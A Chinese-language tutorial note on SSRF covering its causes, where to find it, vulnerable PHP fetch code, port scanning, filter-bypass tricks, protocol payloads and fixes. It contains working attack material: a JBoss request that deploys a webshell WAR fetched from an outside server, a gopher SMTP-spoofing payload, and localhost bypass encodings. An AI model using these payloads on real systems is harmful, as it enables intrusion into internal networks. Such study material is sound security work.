SSRF漏洞
填坑笔记自打写了标题,到现在都没去学习,直到做了一个相关题,才想起来回过神来好好的学习一下。
SSRF(Server-Side Request Forgery
:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF
是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
形成原因:
大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
首先,A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA
网站。所以,我们普通用户只可以访问A网站,不能访问B网站。但是我们可以同过A网站做中间人,访问B网站,从而达到攻击B网站需求。SSRF
漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
除了http/https
等方式可以造成ssrf
,类似tcp connect
方式也可以探测内网一些ip
的端口是否开发服务,只不过危害比较小而已。
攻击方式:
1.让服务端去访问相应的网址;
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
;
3.可以使用file
、dict
、gopher[11]
、ftp
协议进行请求访问相应的文件;
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload});
5.攻击内网应用程序(利用跨协议通信技术);
6.判断内网主机是否存活:方法是访问看是否有端口开放;
7.DoS
攻击。(请求大文件,始终保持连接keep-alive always)
漏洞挖掘:
所有调用外部资源的参数都有可能触发ssrf
,常见触发位置:
1.社交分享功能:获取超链接的标题等内容进行显示2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行
ssrf
测试7.网站采集,网站抓取的地方:一些网站会针对你输入的
url
进行一些信息采集工作8.数据库内置功能:数据库的比如
mongodb
的copyDatabase
函数9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如
ffpmg
,ImageMagick
,docx
,xml
处理器等11.未公开的
api
实现以及其他扩展调用URL的功能:可以利用SSRF
漏洞一些的
url
中的关键字:share
、wap
、url
、link
、src
、source
、target
、u
、3g
、display
、sourceURI
、imageURL
、domain
……12.从远程服务器请求资源(
upload from url
如discuz!
;import & expost rss feed
如web blog
;使用了xml
引擎对象的地方 如wordpress xmlrpc.php
)
1.排除法:浏览器f12
查看源代码看是否是在本地进行了请求
比如:该资源地址类型为http://www.xxx.com/a.php?image=(地址)
的就可能存在SSRF
漏洞
2.dnslog
等工具进行测试,看是否被访问
--可以在盲打后台用例中将当前准备请求的URI
和参数编码成base64
,这样盲打后台解码后就知道是哪台机器哪个cgi
触发的请求。
3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP
服务的内网地址
--从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
--通过二级域名暴力猜解工具模糊猜测内网地址
4.直接返回的Banner
、title
、content
等信息
5.留意bool
型SSRF
常见问题代码:(以php为例)
file_get_contents()
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
这段代码实现的功能是通过用户指定的url
获取图片,然后赋予随机的文件名,保存下来,返回给客户端。
fsockopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
这段代码使用fsockopen
函数实现获取用户制定url
的数据(文件或者html
)。这个函数会使用socket
跟服务器建立tcp
连接,传输原始数据。
curl_exec()
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
这是另外一个很常见的实现。使用curl
获取数据。
实际应用:
端口扫描
许多社交网站会提供让用户提供url
上传图片,根据url
是否真实有效,其返回值也不同,可以判断该url
指向的服务是否正常。根据此性质完全可以用于端口扫描,当提供url
为有效时,服务器就会向其发起数据连接请求, 大部分的TCP
服务,在建立socket连接的时候就会发送banner
信息,banner
信息是ascii
编码的,能够作为原始的html
数据展示。当然,服务端在处理返回信息的时候一般不会直接展示,但是不同的错误码,返回信息的长度以及返回时间都可以作为依据来判断远程服务器的端口状态。
<html>
<body>
<form name="px" method="post" action="http://127.0.0.1/index.php">
<input type="text" name="url" value="">
<input type="submit" name="commit" value="submit">
</form>
</body>
</html>
<?php
error_reporting(0);
if (isset($_POST['url'])) {
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>
根据上面的测试代码,输入正确有效的url
会返回对应内容;如果请求非http
服务的端口,会返回banner
信息; 请求关闭的端口会报错;即是大多数应用不返回有效信息,也可以通过分析流量判断端口是否开放,常用来扫描靶机域内不出网的web
服务器端口开放情况。
攻击应用程序
内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通过ssrf
攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell
等。 用到了pwn
的知识,不会,以后会了再填坑。
因为http
是基于文本的协议,所以处理一些不可以打印的unicode
字符会存在问题。这里使用msfencode
来进行编码。
内网web应用指纹识别
大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
这个用途有点鸡肋,现在许多浏览器插件都已经能够完成这个任务了。
攻击内网web应用
仅通过get
方法可以攻击的web
有很多,比如struts2
命令执行,还有Jboss
使用一个get
请求就能部署webshell
example:
#将网马放在公网服务器上,然后发送这个请求即可:
&name=jboss.system:service=MainDeployer&methodIndex=17
&arg0=http://our_public_internet_server/utils/cmd.war
#通过加参数请求网马执行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir
读取本地文件
各种协议就可以上了,比如file:///
等等
绕过技巧
以攻击本地举例
利用端口绕过
子网段受限情况
http://127.0.0.1:80
http://localhost:22
利用[::]
绕过localhost
http://[::]:80/ ==> http://127.0.0.1:80/
利用@绕过
http://example.com@127.0.0.1
利用短地址
短地址生成网站生成一个127.0.0.1的短地址,如:
http://dwz.cn/11SMa
利用特殊域名
指向任意ip的域名:xip.io
(37signals
开发实现的定制DNS
服务)
http://127.0.0.1.xip.io/
http://example.127.0.0.1.xip.io/
利用特殊地址
http://0/ >>> http://127.0.0.1
利用进制绕过
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032 >>> http://016373751032/
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
利用DNS解析
在域名上设置A记录,指向目标ip
利用上传点
将 type=file,修改为 type=url,即有可能触发ssrf
利用Enclosed alphanumerics
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
⓪ ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
利用句号
127。0。0。1 >>> 127.0.0.1
利用各种协议
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
example.php?url=dict://attacker:11111/
SFTP://
example.php?url=sftp://example.com:11111/
TFTP://
example.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
example.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
example.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
# 上面数据解码后为:
xHELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: AH AH AH
You didn't say the magic word !
.
QUIT
漏洞示例
1.Wordpress3.5.1
以下版本 xmlrpc.php pingback
的缺陷与ssrf
2.discuz!
的ssrf
(利用php
的header
函数来绕过,其实就是302跳转实现协议转换)
3.weblogic
的ssrf
漏洞修复
1.禁止跳转
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web
应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准;
3.禁用不需要的协议,仅仅允许http
和https
请求。可以防止类似于协议等引起的问题;
4.设置URL
白名单或者限制内网IP
;(使用gethostbyname()
判断是否为内网IP
)
5.限制请求的端口为http
常用的端口,比如 80、443、8080、8090;
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
引用和材料
相关材料
[1] http://blog.safebuff.com/2016/07/03/SSRF-Tips/
[2] https://paper.seebug.org/393/
[3] https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
[4] http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html
[5] https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51
[6] http://byd.dropsec.xyz/2017/06/04/SSRF漏洞剖析与利用/
[7] https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
[8] https://www.secpulse.com/archives/65832.html
[9] https://www.cnblogs.com/s0ky1xd/p/5859049.html
[10] https://www.t00ls.net/articles-41070.html
[11] https://ricterz.me/posts/利用 gopher 协议拓展攻击面
[12] https://ricterz.me/posts/HITCON 2017 SSRFme
[13] http://bobao.360.cn/learning/detail/240.html
[14] https://github.com/JnuSimba/MiscSecNotes/tree/master/服务端请求伪造
[15] https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf
You mentioned that wonderfully!
Truly many of valuable tips!